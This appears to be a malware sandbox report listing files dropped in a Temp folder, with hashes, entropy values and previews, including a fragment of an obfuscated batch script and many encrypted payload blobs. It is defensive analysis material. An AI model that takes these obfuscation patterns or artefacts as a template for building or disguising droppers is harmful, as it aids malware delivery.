Preview:	Set Membrane=w..ZVSenegal-Scary-Tropical-Maintaining-Might-Painful-Mailed-Need-Harm-..rKpmCons-Cached-Justice-Sku-..GkProved-..IfsAssuming-Guys-..lxEYGranny-Stronger-Mud-Terrorists-Unity-..bIYCompeting-Creator-Wal-..EpUdPools-Creatures-Twelve-Tiger-Filename-Construction-..agfSanta-Throws-Hans-Racks-Reduction-..jiKPhase-Andrews-Pairs-Gaps-Boutique-Buddy-Complexity-..Set Tactics=4..TnRVAmendments-Protection-Consumers-Typical-Stakeholders-Pictures-Ribbon-Pole-Golden-..cQMortality-Fantastic-Disposal-Compatibility-Inn-..UVOpinion-Customer-..fXfAged-Experience-Included-Affair-According-Ht-..WKrHAdapters-..PHcDowntown-Compiler-Never-..qFwtBathrooms-Weird-Meters-Mario-Pulling-Internal-Artists-Frequent-..YPBiFelt-Jewish-Greetings-Nb-Smart-..Set Rally=g..SlRespondents-Features-Fotos-Mime-Train-Lamb-Electric-Brandon-..tlgPoster-Exists-Considering-Mt-Hosts-Experiment-..nkAllen-Feedback-Awesome-Poems-Clients-So-Veterinary-..ISdBreeds-Mount-Year-Hosts-Workshops-Finish-Incomplete-..KciBKnown-Robust-D

C:\Users\user\AppData\Local\Temp\Feeling.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1181), with CRLF line terminators
Category:	dropped
Size (bytes):	26727
Entropy (8bit):	5.080719038139192
Encrypted:	false
SSDEEP:	768:6gWxHahGe0zQ/BFqRvH37se4oR6wigWw3Ow+hqY0:6gWxHdzQ/BFcXhBGet
MD5:	FCB66E8A2FE86AC2701377049B2B4C1B
SHA1:	23497AC06DACAC5AADB4F1BF1F6D7E466423438B
SHA-256:	518077F1096F3975B3DF1DEA86F0BE43D57E8A0BE3C44E8C67E4864A593683A2
SHA-512:	DE3EFB8A957E309DCE4D8ACA89F09904EE30533528BEEC6CEE10D00D6E324868BBB1C06647DCEDB0F093C68B83A3C2E7FB83A0F7520A7E0937A6D182573EBB9E
Malicious:	false
Reputation:	unknown
Preview:	Set Membrane=w..ZVSenegal-Scary-Tropical-Maintaining-Might-Painful-Mailed-Need-Harm-..rKpmCons-Cached-Justice-Sku-..GkProved-..IfsAssuming-Guys-..lxEYGranny-Stronger-Mud-Terrorists-Unity-..bIYCompeting-Creator-Wal-..EpUdPools-Creatures-Twelve-Tiger-Filename-Construction-..agfSanta-Throws-Hans-Racks-Reduction-..jiKPhase-Andrews-Pairs-Gaps-Boutique-Buddy-Complexity-..Set Tactics=4..TnRVAmendments-Protection-Consumers-Typical-Stakeholders-Pictures-Ribbon-Pole-Golden-..cQMortality-Fantastic-Disposal-Compatibility-Inn-..UVOpinion-Customer-..fXfAged-Experience-Included-Affair-According-Ht-..WKrHAdapters-..PHcDowntown-Compiler-Never-..qFwtBathrooms-Weird-Meters-Mario-Pulling-Internal-Artists-Frequent-..YPBiFelt-Jewish-Greetings-Nb-Smart-..Set Rally=g..SlRespondents-Features-Fotos-Mime-Train-Lamb-Electric-Brandon-..tlgPoster-Exists-Considering-Mt-Hosts-Experiment-..nkAllen-Feedback-Awesome-Poems-Clients-So-Veterinary-..ISdBreeds-Mount-Year-Hosts-Workshops-Finish-Incomplete-..KciBKnown-Robust-D

C:\Users\user\AppData\Local\Temp\Fw

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	95232
Entropy (8bit):	7.997973000744496
Encrypted:	true
SSDEEP:	1536:HnsBJ1dMG2gky7TejrAL+AKiOwBDD0cHcGoLghqM3geQL9gej08CZHV5osMDPdt7:HmJEVym3AiAN9BDoxGrLg9gs/zDZB
MD5:	8C54BC1CA6C5EA3EFC40EC0015219400
SHA1:	FA597601D15C187C917D36B60FD92B38562BA5C8
SHA-256:	EC54EA54848F05B613F7272D43D4D8B8F457DFEB4D992FE2ABCD25B424E4DF4B
SHA-512:	90800E2B5B5DA660F1D923CF5A61979B84C23426853AFF3ED951EEE96969F9D324EE687E1A05D9964D240651F3227B38CF741F491950D3A00901D765BE59DE74
Malicious:	true
Reputation:	unknown
Preview:	I.P_.....@..@ .K...W....P.....5. miB......F.~t..9...%2..!KW...>,.".@.?~4........A.?...m.`......{...%.J...j4.PMw...u..K..\|i...'.5\)..!.>.s....;8.K...x.....y...U~7...X........!..I.#...JX.o.......`=..!...H\|.K...K.K..;.$.....V.\|.E"Y........{.g.m...,[..YL...j(&...5q..+...KOe..o.......8\.w:.-..c...4^\|..5...T.U..\|E..G..HI@....>..8...f......w..3...^...Zj.....l..1M...._.}....._..KrF..a.x...>;..w...\|.~M.N..oCp..f.$../...?...1..j..b.T.... .We..."0{.......a.{.5......wx......tU(A....wN."Zb.:4"..d.V..^....YM.5LX..../...>.....$./.....Jp...'A...?e...,6m.sC....9...:....1.~.2.U.V.&...h._..W..DU.......>.x2D....(..H\|']R..].MK.4..h...J..@.F...]@y..w...:.t.X..5.T..nC.k.........y.T0.D(7q.:U.rB.D..M8......CMps...h......0.D.Slt.Q......:O.-....R9........H..Q...~.^p...t.:e.k...5...TE...q....@3...'.)lf...5`E..kz...J......$\|..>W2._........ZY.0.........41.../...$..U..i.`4T(..LI....o..Rp V\|..,.{Hv....1..G{.#..A...[.'....@..K.....'.p0.Z..,]..I..u.B....Z\|..@1.....et..t

C:\Users\user\AppData\Local\Temp\Howard

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	7.997576482212188
Encrypted:	true
SSDEEP:	1536:aGYvJmiIO8b7UwXDFgHV5PUvYcal2Ww1OTeYmvtQ7cKcm4Yayt9+2bIv:aGYjI/fDFgXx6WwpbmxmYftTkv
MD5:	991928C926AB0EB5B3BD3041F7F9EE75
SHA1:	52044452BC9241D53B652A99AEE92E8D2F7663A1
SHA-256:	3E3D903B757EFE8D442782AC96E3B9C916C849D1F88C826AD667E1CDAD3FCB93
SHA-512:	367E8E8303DC731659A1AA8868E9857FFD3D850DB0DDA7F316F8E391D176F3B1822FAC7F591C09CCC5E9DAB1A2C66F61CA97375B1698DD79996BE381CFECB06E
Malicious:	true
Reputation:	unknown
Preview:	3R)..?......u..?SC.RB.-.....U...u.8...A..;..[.%c......W.j.:...C.......H....&.H.m.}..6..<....v..:..t..{...G..C......^{l.h..L...\.....).,<.\c..7..2:.gAIN .&......Cg..A...2>;.$a.....qlH6d....n..^\|.f-.od.4..>..n7<.>Vu........ ...Q...$Bi7E(&.<..2.....HXA...#qa.S..........l.?...C....?j...E..:.g)w(.....Jo..O.P..y..^._%.`...q.go.......j.....b>.j....e.\|.4.4oy;....~0..x........ ..b+r.K!r.!V....,..e.......0..y.Y.4.%.......Wv.m.#\..\|...u1.....2.....EtP.t....{%qOwN.D("......x$zG..n..N.(......v...nc...z...:eq...%.9....,5..g..g]o?Z.}.h...76.n.....=..8S7.6......2.......a..i.`e.8.P PY!.Ff2...G..<....\|.I..m...".Y.:...K.h..Wg:..$pho?....xa\.n.Zp).cg.....u,"3J..g'...2]E..e...Y-...{$....u.-w.+D...Nas........j..o..j.Y~M0.`.!.`.V._...N..."`z;....W"b.B..Je..Z.......;.6.....&i.=]..W...F.^.\|...+o/..r...wp..3..wM.?8q....S..s.S1w.:.W....B.O..]3....a....bt..\|Ic c.Z......).\?.......eWG#ni........E@W..L.h.#.2..om...6D<...S{.b+`.LDb.+...H.E.eXx.W.Y.......2k.

C:\Users\user\AppData\Local\Temp\Id

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.99735654133391
Encrypted:	true
SSDEEP:	1536:Hx+giZCfqoEQtB8n2LiQKMoPjnUMgasqvE/3z3lR7cxpNIm2/g2CRduNW:Hx+pZKAfvCQGuI3jldcxsm2VCRd6W
MD5:	58DC8972CBAB6B27879D3CE351D4EED6
SHA1:	54DB02A7E2509A7BE8327DE324DC76CF6856B062
SHA-256:	0F3680FC719E1E9786177E9A7EBC63BA7DF2DB95AF69882392834012C6FFB026
SHA-512:	327BBB82BF48BF3323E3CC0FC83BB507C90F07353D14534647F808D6E60D7E40CAABAEFFF64F4557D86C36F502133997A68A8E5F6065D3C802A0F3D116B67F75
Malicious:	true
Reputation:	unknown
Preview:	..gc...bvD...,.s.A($\|...P.i.0.F..D..+4..A.o.....v.m.n...'G.........<..[...).W......\|w..ev.a...b^.....mF.2...&...$...4..R.dR.!~8.IK.....T.^S..U....3..P"%].7T.do7...G........R..1(7xo...M..?.+0Gp.hVw.C-.J(.F...(r.d..+jY...J....O.......m.S'...m....o...l._...i8.'-.n.A?#1..)T..G..........%9...t...........9?.:.2.t...A./"..n...)......C{. .C..Wa.........Fn/&L.#!.).v.`...Us....~..t..1.......(N.c..u)....sQ...c.. ..+S..k.c..i.k1m.8.....G...A......[.8fb..%..2.c.Lb...W\|<.....'.?...^..4...l ...>..OL.9.FF.%.9+..id..L.+...XTq.w.@..1.....09LO...QY>.e./.@.D..kh...a-.d../C...~e..p.g.5_.J.d..n..6...........2...'.X..:.:[.....V...` ..&...[Mk.2,...,1..._..m.....~....`..<..4......Y4.vl...w..-P.F....{..=w..y.e.Y#).kd.9....W(.Co...g.......)..R..3.X..:...D.q.uuX.!...5..#...@.......&..&..1=Y...A..0/j@o.....C:V....>...k..4........q..1..z/;....y..qh.6.....e...1Ro.#....O.pg.....}..'..h..G...7t...Tzhx.(..9...%P.....tl.._...v.....l......Z..@p..$......q.......9..\..

C:\Users\user\AppData\Local\Temp\Kg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	78848
Entropy (8bit):	7.997946199247378
Encrypted:	true
SSDEEP:	1536:YS8fFXctBZD/6lR4WF1REaiGlXCo6iXoPIqgfRhzjUw1ig17k9r7jOBsJOqDlb:z8mVbeR4WF1RFlyoxrNHj9DqlK6JOqDB
MD5:	8915DB951B883A614D584FC1398FBCE2
SHA1:	2318FBD0CAA66E98525BAF73A34E8B299DA547D8
SHA-256:	26CB95DCC9C8EA696ECDF73E10ECD6E14C0ED7ED57BED07143EC0130D772802F
SHA-512:	161039D6114A950B9E009E3F61F2A2C0F300D9448874751E68B5B7672B2FC31488AF38CCC70F36EB23D9602BA3E8DF45C9E48381379D5E4CEEE199B5B3FF7F31
Malicious:	true
Reputation:	unknown
Preview:	..".F........\|.7/....y........Ha..O.Y.2....).7.J.._.r.[.../".q..Su..Q..'q2..J..D.$..e.`..3t.]E...f......._.@.HXo.4n?..I.....i-....=.F..5)....A..p.>..S...A..{H...@!U'.qEC\.y8.C.T.....kx.4L.wq._...,.k.;.H...i.......P[.r......]....p].\|...1...<n..6......:..K2.....S9..z.....3Xq;..M%.....M..1J:.2..Z4.F.>y..:.S.,w.@.....`$4.....ig.B.U.......U%dAZm.\....g.J.....G.2..PH.3....0...:U.......k.S..@./..J..k..P=....j..k".....R..6i.\i."`"=%.Y.....XN....+'c/..w^L#...#.A..#.U/..f........E...`X..`K+..}U~.K...{.?.a4..dV.v7'V.F....x...p.Z...../.".M...r......A.t.}.A..;..N."..FyQ..y.!Xc.....6...........[.H.?.gg..wS..w.........Gs...`P..U..'S...:}.h.y.Je..x.......d.n"L}b.&....n...3.....l'...:.U..uG..-L.7L.H..5eC.RVX..J6<.{=uQS....%..K\`..f?..&...s...r.0......U.E.WA/..h.....k.#^mXQO.>/....e>SV.4..RV+..z.u..\..$..8...[.....!.p....._........T.wR......r.....Z...s.H...(i.T'.W/J....t..C30..~.z..x..X...:......]S.X5.K.Wy.i@.C...<....m.%R.VMK..<.X...iD...6\|\._.*....bn.n.

C:\Users\user\AppData\Local\Temp\Lady

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.998209999866034
Encrypted:	true
SSDEEP:	1536:elXZP5m31/NSk9+GpojK8glsgBELy00HtdL6+eRI9PKwa+uMEf9NWVefXsQbhsCT:elXZPo3SX6GKp94yP3PS+uMwPf8QNsCT
MD5:	EAEFD25DB3693CB973075DF7AC242693
SHA1:	D2F888A5D4ABA1C4729A3599395AC99F44873477
SHA-256:	B8D9A4053AE392F0E99B905CA786A1E1B440271F943178AE333E68473EEA9328
SHA-512:	9CA4C22BCADA5A04A7AC066E51C2B70D630FA20F7604719986198A3B979CC81B8A57C008EBC66869B5BE38BA65EC843662228B8AB33D150FB1650044CF62156A
Malicious:	true
Reputation:	unknown
Preview:	...=.K. ..J.....i.....)M#.....y.s.........4...\.....+>..'..;...3.?...&.....m.....w8..GF.%..O.7L..v.D.?PZz...U......f@.k6....\|Y.i.+....,i.kxd.n.S..L#H..(..D&q....}-v.).<.c...O<.@.Y}..So...Q......4.#.e....x..f..b.O...[Z.0iC...5.s.$...f).v..6... qUh.........t.$B.`...(..F[lz...U;....,..V..S..Hh.q..9..t\|....#.0.......3.....54.g...../0h..X..k...(Wf....]25.Z...u.&.J..N]cO@q...Uq...i.....a...W.T.\| ..PVuk...H.c..>...a7-.Y.w.l..!...QFR/.0..."d@+.5...l.>.K...[e]4....).K;....I7T.R!...G&....(..P...^...m.V...F..T.)....9.^rYd..6..V....H..t....r.V..3.D.....V..Y/.t.w.<.>. .G.%.^..'..y....T....-3.p...."......NO.L.9\.R..D..,R.K....l....+iO:l......]XY,.,NF.t.zf.9{..~.....T..2q.8E..;..L.p.u..K..X.J.W..2.y.`..Sh..o......p.\|.....`..'.y.n..i=..c...[..0.-.h._`;.T...w.n....v.E..v}.E...-..K.n......(.&..0p....ITx}~V.G.N...>kBv.~.=c..pL..4...R.(O..{W~.f.\|-TD./OD3...C`.....x.wZu......y.......z.'.%g..^.D....T.c..s&.p}.1...o...o.<.9Xd.b..`.01I.X..u.B..3..}..V..

C:\Users\user\AppData\Local\Temp\Los

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.997683653805352
Encrypted:	true
SSDEEP:	1536:2lfxwqJC7Efj6ArRDI+SR8O07A3XCCthP9Wpan1d8r7u/EklKW+RaPe6yW+hBQAs:2H7xIPRN3HDnPQa1+/u/DKWBPShbu3nl
MD5:	7AF70F6EC6FE162EE7A0C0B86077DC17
SHA1:	8D4DF6CC535EFA001F70BD8C07FCD9FFB1B11EB4
SHA-256:	D6F7FBCE77B113E19D4B8CCA39EA9868D62F99887A427D8A835A86C489AE2C18
SHA-512:	C023787AB0CBDBA3CD86D6727AB9A21A06A131FAD288C817E4B06BC79002F07238109294FEFF6442A9F1993017DAE5A3302D89DC3EEEDC51FFE0711EAF90DD7D
Malicious:	true
Reputation:	unknown
Preview:	....._..(...]]..."P'....X[.;n.@........9s.,0..g.....t.y..\|.R....: ?LM....!r&-......I..2.&/d.^G..'.7.../G..<...c@......o...D.?.....I..Dw.>....J.e.. 1........G....s.:...#.o..4..].JX.E..wV.%.3....-y..Z~FL.B,..W..r.;....KP......].+...:.I%...aF.'V..NNNC.1.o!F.....zhPT[.n.-......Q#A.v+.h....{%.........s..G.o...\|D!i.B..{.?.L.-c+.{.+..g....]....O....c..]Q.s..F:uL7'\|..d.V.....#.~b7...C.51....i?..#..:pG$D...kFLE..x.7S]...U......s>s._=d..2b.R.1.`@.(. ..Y.'.#.6.....LF......o/..1Dy.....$t..S...."X(.V..mhm`.Z/.o..).-;..P..C.....Dx..a.f....W1..;....L.....6...;-S...O.&o.6\rt.t.>jn......s.n.....Q....8.m.FR.t......1....V.k...%G4_]....d.ld.U@{..v2L.....{.O...%.b9.v{.F..v..z.2...f.P(.c..D...c.pY...X.f..S...<....U=._4...H...\|..x...N.Eny=.%....r.C...ro(..9...c...........H.).$K..3PIP.....&..o.g..5#wP^.....Oy. ...."...DQ.5.............(.T..'......4.^..r..".l..W.x......?.......@T8..YY=......q...(.s. A...."!......G.....r..H[....{....[...N.D1...

C:\Users\user\AppData\Local\Temp\Love

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	97280
Entropy (8bit):	7.99792039041387
Encrypted:	true
SSDEEP:	1536:nKpwmcqIrxphD19V5cNcwPFAuiTRysE9eAvWmlf6f3gSOEdhrEyfOdEI3TnNrJJX:n0onxfBDDwPFyQsE9lVG3gSOEdhrPf2p
MD5:	DDC8E07A43A0AF32618508B405F00A53
SHA1:	590913F2144A9837DA86EACD4F6FD3152C31D39A
SHA-256:	A3292AADF918A871E37EAF2ADB4AFA3C1540E7DE88AB66AD6D82E6B7E4BA3628
SHA-512:	B755D91A59AFB8913178E779109E84CE574EEB49430F539DE021E4B205053B381559B31BFEA408A3F8CB958350F3E1AF18C9F958A10081E7BF4446AB0A4B84F4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	..N]..p.M.o).wao.A&.5b5.P.e...4..x...%Cv<.:..,GG..G.T...4D.B.I6.X.#.V.......u...s.R....2X..O.M6W..h...XfNt.#...96..K..U....J....`......1q..._..../b~FW.'?.LS........M..#..YVT.`.j.a..S..J.aT&.1O[._S.y..2.o\.S...?l.4...5......j.......7..7}&.k#.W.&.Z....0......o.....O..DF.7.R...F..fg&.r.....@.._.I..c.h.V].Z7!.T:..=,...B!.......y..A.c..t...@..;<..\|..M.kmV.."(e.....J}......g...l.~\|...d....b...:.......p.o..c..R.....h.......T..e.v......w.=Gj :.xfYk...-.... ...)...F.E.O.MC.5.....n4..\...b.....k....E.).XK....5@P+G.q.jzm..>gp.T.M.#@X1...D.....0y...D.eo0. ..;.&........_......b."...Bg..;B..V,......,,+.Y0.....3.b......A.....!V[B..n...?./.A..Z..we.lvQ.t.....`x.....=0.5b.......^...z.f.k.xv....P~.t.33....j.Y7Q...M.vKF..rch..c.z.'S....J.N...c..je[.c...:C....?....+....,...?..;A.t&.....)a..$..e.....W.Q:OtO..}u...0.6(.Z.......L.....<B,H.f.R\|.?....N.....m).`.E)..+.T.....B....#g<(?......k...-2PG#....8.n-l..w...].h4.FnF.z.}.[B4....~..{L..h@.$.

C:\Users\user\AppData\Local\Temp\Malta

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	7.996972711317446
Encrypted:	true
SSDEEP:	1536:wxlXoux1RgmO2/15gCl7N5oPSQ04VDmvuKgQxNV:6NoubRlh5Blp5mF04pPlCV
MD5:	62B3DD4AF6EB00209BCE12952CAF633E
SHA1:	08AE6A40AC77FC86B24BD2EFBA0D063891D2F33D
SHA-256:	E36B841A3D1EDA0ED6238D5E792804B43DAF04E74481F54F6E333A94B462FAF0
SHA-512:	8AF590FB81B9FBDEE490D5DA2E5F221AEE282FE1EF20D6F5F2427D8476D958021218A71FFB5E87FF07D95950E021BFBAFA4B96852ED65FCA9480E215FAA36C69
Malicious:	true
Reputation:	unknown
Preview:	&N....#..M3F.z..q>%q.!....'..@z0v...l._....R.-......2..XbX.4.M.B..>...K.f.O.\|.X6..9.......o<.2....6{.......j.7.b...P)C!\M....X` ...O.wR.:.xV.}._....q.+.m.c.#.Z....{+a<.N.B.C..g......9O4...Q+`....].x.NE...A..d.-..a.....X.T..._...`\.<q.(m9.m_........;.........<=.H.X.V...Vb.p...Z.>\|.m.y.7..h...O.:.N.......;!(.Z..".M.\|Q.u..e.}.yT/X7.;...8.;.<~^...&.aq...(....FkeN...D..Yx'.$.G6DF..%f..j+Ce.rI.a4...X..e..[.]e.k..U.Yn_..P.......W..C.._..m..#X.mDfE.5p.<2.V...{.,.`I.dO...N1.'..Z..a...]....y.......a..e`j=?..^. ...../0l.8....-.Y\|.T../..e.)..z......t.../........o.(}. ...WM......."-.....d0....N.o.P..e&..27.A[YG.R......,^-\|=..@..?.%.,q....e..p...:^.HuM...z..u.....k.r.2y.2.^$.'.bj.u.8.}Cx...l.y.;G...k.#Z.....qF.dJ.+........j.&.-..+.y...CC2..&r..(\|.eZ.....d.6......Q....N....f\|E..nE`9;..';.m.W..9u.17O..LvTZ.......7m..q.....]Xc...Q..#.G[y.S..i.k.....m.$l%.B....{7'K....;TV.B..Z.m....f}-\...t].7.>,.d..;...0D.;P.d.S1...X..g....A.<].......!.M....0yx.....(.T...&Ew..;O.~

C:\Users\user\AppData\Local\Temp\Mel

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	97280
Entropy (8bit):	7.99794312327969
Encrypted:	true
SSDEEP:	1536:1NbVaiCB52z2kKJvW83N0YtTJP9tvxvXJ2j1kSmy2r54IKd4oGv6xAtyq+htVxrv:1uiCo5kvD3b3E1Zm/SL2oGv8AsPtHrOm
MD5:	C4488A0EBCE132E36228267667335B3A
SHA1:	A9FDE0BACCB4F9A7FF3C283153AA8B587B87FFD0
SHA-256:	0C5BB737DD1032E4A1514D4944A56196F698E75D8F4C2198E4A8C7B2387A1BD3
SHA-512:	1180C448E4AA58D3A0CD2B21EFF30E69FEBB309CEEB353E02A754BA968F3FB6AB2083B37DB232B1A1ACBB7D842FDC5E3CCBC6B2D6C37A7755AEC9AD1802F8C03
Malicious:	true
Reputation:	unknown
Preview:	.;7K.S.J..h...e.D/... (q....2.l........6H..m.(.....?...,L..\..$...)\|.z.v.(x....ly..}....{:..v..j..8..P.....Z..{8..$B..M\X.a..'v ..l...y..0.i.......`...Og..EXYu.^,.`..^G=[.4.......B[j2.5};Z(3.q. .......\dM..1.)~fh\1U..@e[...A...t..".t~.n@6...'.T.-.T...v3o.ve..W]...+.e\|mi</.....%..... ...B...5.....k....?..D^.)~.......~H..+.........a.Ye.dd.b{uo......B....w..5..z.e.;DL...........R.C...........}/m.x...8F<...:..U.O..l#.{g....<..#B...%w...q.!.g...Q=.;..<...1...q..F..H..[)..Y....d.Qh..`.....D{+.Eo...{.B.$%.o5.....-......t.j.ms.#.[.:Ak.Ok.q.x..jCY.....D.........4.U.?.y."R...mB....1.......+PW..........QX..u......Y.u.......c..0......g..Q.7L2^.{.q5..+-._o.),.7aM....sO...&..........i{.4. ..`..Z ..#I.A.......h_....5.@].<.h...SL... ...;.#+.x.u0).,...G..o....~...~dF...2..Uw.......e,..F.....e.;.F .......\|\|...Bi.V!.x..D&.qJ.9...S.Aw..U)........F......o..2n.-......d.E.....7r.B.T......j0e'.iR.S(n..7....#Z..y...%.&.....`..w'..+.....H..A..k..<JN(...0

C:\Users\user\AppData\Local\Temp\Mental

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.9980473668055865
Encrypted:	true
SSDEEP:	1536:Olz5p2z58J/2NdMw+YdMqW1OmpMI65W54YMsr5qk0yvqdoSLb96a4XCKjngyK:Qz54lggviqOpMI8Waxsr5qicoSLxD4Xo
MD5:	B69EC139C5B8D39F27D81D1E99D6E37E
SHA1:	87E80B8199F799A3F8F26FEC6073A7DECA7687CD
SHA-256:	A09482954B2F5417538A52A21CCAF43B4DA7B6A84D261F0F8D8AF69EFD52DCAB
SHA-512:	4A3EBC82B013C8382C9FB24759F25441BDA7A48CE4503DCFCB2978BD0C6433144B38DB6625FFE7393A43453580AA56F713ABCA4F563CA78EF6AB4B1756DCF2B4
Malicious:	true
Reputation:	unknown
Preview:	!.\|3..U.p...N............+..H^...\\|..........K.u 1.so.@C.1m..c..W3...R.j.[...4.jX....l>$.....C..z}wS.<..q..C..(.M.T\|..+g.E.%.u....E.zsW..Q[.....x%.....K...:+.4..C.8.......N..A..(\.N........~..r9.....D9...\0@.d>F~E.8.%.}Q.iJ\|eM.....4.L.l.y...?.t..[....l..Q..gv4T_.F..2...x.......J.z..rVO....I..%....t.v:\|..V.".}IDe..A.......T.............v.....L2.3.xj..$v7..:..p..2..f.M...^.5n)l...q...7.v.2..>s!/l.p....%.y...D.sd".R..h...5'!^........q..9O.....6.~...hI.0$.x......a.uek?...W..ve...y..7.}^...5B...eT..a.i...4.N..1....N.M.r".-o.w..54.d.....%.._.J=..y..5.A..v..:.#;....X...Qf...W.C_.l.'n.c}.k..v..i{-.LH..D..X.....k-p30..b.l-.......e.yBm.#B0..RZ..&....{......x.Y.}..VR....q..X.7@.;7.L..mM;.a xJ...u(..xh...rH6..............X.qc.....U%..;......2!.Ez\|.E$I8B....n..f.{.Csd~.{...Aq!.>.....6.6.gJq.@.m,:..N.<......"6C...\.e...{..)T....[..JMu..2..G.....wa...Rg.......5.F.Z.....$.f......-.....6...K.[..s.n.g!,H8C.....^..'Wk.K.&.h@TY6..f.N$..a....W.(....}0.2..

C:\Users\user\AppData\Local\Temp\More

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	78848
Entropy (8bit):	7.997249725090305
Encrypted:	true
SSDEEP:	1536:OYNXny2nRfjSFB868PjxKV2+AMIUdOwc9h9jl+C:PXzRfey687jRcdQzyC
MD5:	DAA206CBA5765AB8696249A30250FFB1
SHA1:	1A66DFE188F8145D83DDD64B7EDDA20B64158159
SHA-256:	F4D2579DA4B69FA9F565B1879DD3F374552C000F1ED0999DCB5698A82166B2A8
SHA-512:	91911FF09D10EB8A4CDD111A467CA7985CD27ED511022DC253DF33C1577E9240FDF3A65DF9F829F265BC1E778A1EEB1E29B5813E6DDBD151383DC3025B9B54AA
Malicious:	true
Reputation:	unknown
Preview:	.ZR~t.....m....0..t.2p.F....gV..M.Z..+.%.d[.._.).Y....JI..l..I...<.n.xJ^..7g...}Z.......M..7.....g,.v.T.A... ...........p..+._M?.nm.P...PC...9..- Bya.....<...HB.........n.U_hh.8.).W..f.0{....6.SXct..Y.S.A.2.iTr..a7.z... ..7o.....?4Ou..q..0.............W.y.aC...@.G8.3.S..H.D..f.I....8a...r.E..M...E...>..0.......C?.$..cEy....a.N.o..B4...}....?].\|..p..2(0.....]...E...V..uPd..y......v..L.............(..0.yqa..........B....[...I..wfs.t..^...,..t.@O}./7_.yD..&?..._....u...>.(..1o(T:......e.<7.A..%..L......L...~...>..y.p.1..m.y;...d......Z^..C....5..h.3...2.9....62.9....+.Ae.jz.E.a#...\|......}....d.%.J.j.CN.fp.(.....p/.q.d..5]o..tx...T..c.C.)..O.....m[...S....l.RDx.d7.dz..sc..5n...A.),..zu#.....m../..F.g.E.U...F...+..?.!"U4..3.y#..(...dF...N..kh.ix..B.=..<.M.8....u.o...]...F.I.T.5,.e...Y["-.29..T.u...:.....3m..n..-..sT..@u-.;.......K..]..O..V$..f.....[J ....cx...fQ.....T..n....e..P3H.U...W5"..e^...W..e.e.>..\<zE.#r.6...XL..J......!.z.X..X.+.Z.g.

C:\Users\user\AppData\Local\Temp\Myers

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	7.998104651667088
Encrypted:	true
SSDEEP:	1536:nRwC3cNL9IlN6BWTRakd2weMFJVCVUiaRe578Qpv3KyvadyM+rdOEckYyHuwoIkh:nN2+lN7TBd2WFJV2EqI+f9bcfLWLCIQ
MD5:	C580F9137769269B7BD8BB63E050EC65
SHA1:	8C639E48735230DAD72AA8EF65962CEABE16437E
SHA-256:	DD4DB69509BDF9AA09EA6103A7159777021600ACA66B8DCDC1369982560FD34F
SHA-512:	BAC3BB3BE1CFC1726DE90CB704A975D77D705D0B21411009BA4C5C199983D27E3FE5964AF8C66FCDF216455C261419E75C4A0FB6B3E91746E940F141074D5106
Malicious:	true
Reputation:	unknown
Preview:	...>M..}\|n.....3....m#. G.;...gP.X.PO[=.5......).........:..H.`.H..m..f.x.#`..n.pL..R....A...I....\..d..../[.1T.....4...2...[\..pz.rn.....Z.H.p..@..Z.a5...,....T..O........i.k.....S9..\|....q.9..K...........w..S.d....p.n.@....By...R}v-..Ft.............}.\....nZOU.mZy..r..OJW..<...Z.G.\|....vl..[.w".lD....DU5yF.~...E!p..wH+2.G..[}.l.Z5?...p.!..2.!......$....?....a.n...bBl...+..J.....L...]?...-8...(.T..p.V..e... Xx\|)9...4.e..9q..]...0....EO.U.i=.d'.....F.....7T....2..@T-...nM....s.R.N...uv....0.&.7.v..8..b[........m..^q.'.@..Bx.c.PPi.l{R.B....:.)....Pd....(..4M#Ft...E..y.M..6.._.m..D.....B.k..2.M..A...\|\W.>..$...zg..#-1.8d....uw.4i.D.....\|m......-+..].RqM....e...F.....#......rw..X...............W...uN.D...z.>k. .2...^...$.Z./t..v_...I.P.D..QJIVU...x..^MN..c.`..v.....n.s....>+.:E1..(p.....!_".Z.1]v..p......UG..3.>...',.{..).'... ./.yk...+.q....8'....w.qj_..Y......ix...s.l..r".@W.K..d.>.[..K.p......M.\.s......(+..qe.Q......p..v.z..k..j.].,n.

C:\Users\user\AppData\Local\Temp\Optimum

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe
File Type:	data
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.997784967844411
Encrypted:	true
SSDEEP:	1536:Sfl8oSx5qdh+lhNELFzBMBrM5tN/+5IpDtKLNI6cfnf:SfKx5OmhyLlGJLcn
MD5:	F58A7C03AD6AD456CD3A6B6FCE8E8CB5
SHA1:	43928E01D0633AC04E64F2F5CAAF27AEED6EB839
SHA-256:	9BA832EEBAC9A69BEA4C266E13F061AF59CCC5C635C77A0ED0E31F882283550A
